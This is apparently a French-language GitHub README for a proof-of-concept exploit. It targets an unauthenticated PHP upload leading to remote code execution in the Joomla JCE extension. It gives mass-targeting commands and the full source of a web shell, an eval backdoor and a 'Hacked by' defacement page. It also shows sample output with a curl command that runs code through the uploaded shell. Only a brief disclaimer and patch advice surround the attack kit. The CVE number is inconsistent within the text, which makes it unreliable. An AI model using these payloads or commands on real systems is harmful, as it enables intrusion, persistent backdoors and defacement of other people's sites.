
CVE-2025-48907 - Exploit RCE sans authentification pour Joomla JCE < 2.9.99.5
Extension JCE Joomla! < 2.9.99.5 - Téléchargement arbitraire de fichier PHP non authentifié et exécution de code à distance
http.component:"Joomla"
app="Joomla"
Ce dépôt contient une preuve de concept (PoC) pour CVE-2026-48907, une vulnérabilité critique dans l'extension JCE (Joomla Content Editor) de Joomla! pour les versions antérieures à 2.9.99.5. La vulnérabilité permet à des attaquants non authentifiés de télécharger des fichiers PHP arbitraires via la fonctionnalité d'importation de profil JCE, conduisant à une exécution de code à distance (RCE).
Cet outil est uniquement destiné à des fins éducatives et de test autorisé.
- Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test
- L'auteur n'est pas responsable de toute utilisation abusive ou illégale
- Obtenez toujours une autorisation appropriée avant de tester
index.php?option=com_jce&task=profiles.import)/tmp/ et peut être exécuté par accès direct# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Install required dependencies
pip3 install requests urllib3
requestsurllib3python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* Soit -u, soit -f doit être fourni
Créez un fichier targets.txt avec une URL par ligne :
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comments are ignored
https://example-joomla.com
Toutes les charges utiles doivent être des fichiers PHP car l'exploit télécharge du code PHP qui sera exécuté sur le serveur.
Créez shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
Créez deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Créez backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)
[*] Loaded 3 target(s)
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...
============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================
[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/index.php?option=com_jce&task=profiles.import.xml.php dans /tmp//tmp/Mettre à jour l'extension JCE :
Solutions de contournement temporaires :
/tmp/allow_url_fopen si non requisActions post-compromission :
/tmp/Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si vous trouvez cet outil utile, pensez à lui donner une étoile ⭐ sur GitHub !
| Propriété | Valeur |
|---|
| CVE ID | CVE-2026-48907 |
| Produit | Extension JCE Joomla! |
| Versions affectées | < 2.9.99.5 |
| Type de vulnérabilité | Téléchargement de fichier PHP non authentifié → RCE |
| Score CVSS | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune requise |
| Impact | Compromission complète du système |
| Argument | Requis | Description |
|---|
-u, --url | Oui* | URL cible unique (ex. http://target.com) |
-f, --file | Oui* | Fichier contenant la liste des URL cibles (une par ligne) |
-F, --upload-file | Oui | Fichier PHP à télécharger (shell, backdoor, page de défacement) |
-v, --verbose | Non | Activer la sortie verbeuse pour le débogage |
-o, --output | Non | Enregistrer les URL de téléchargement réussies dans un fichier |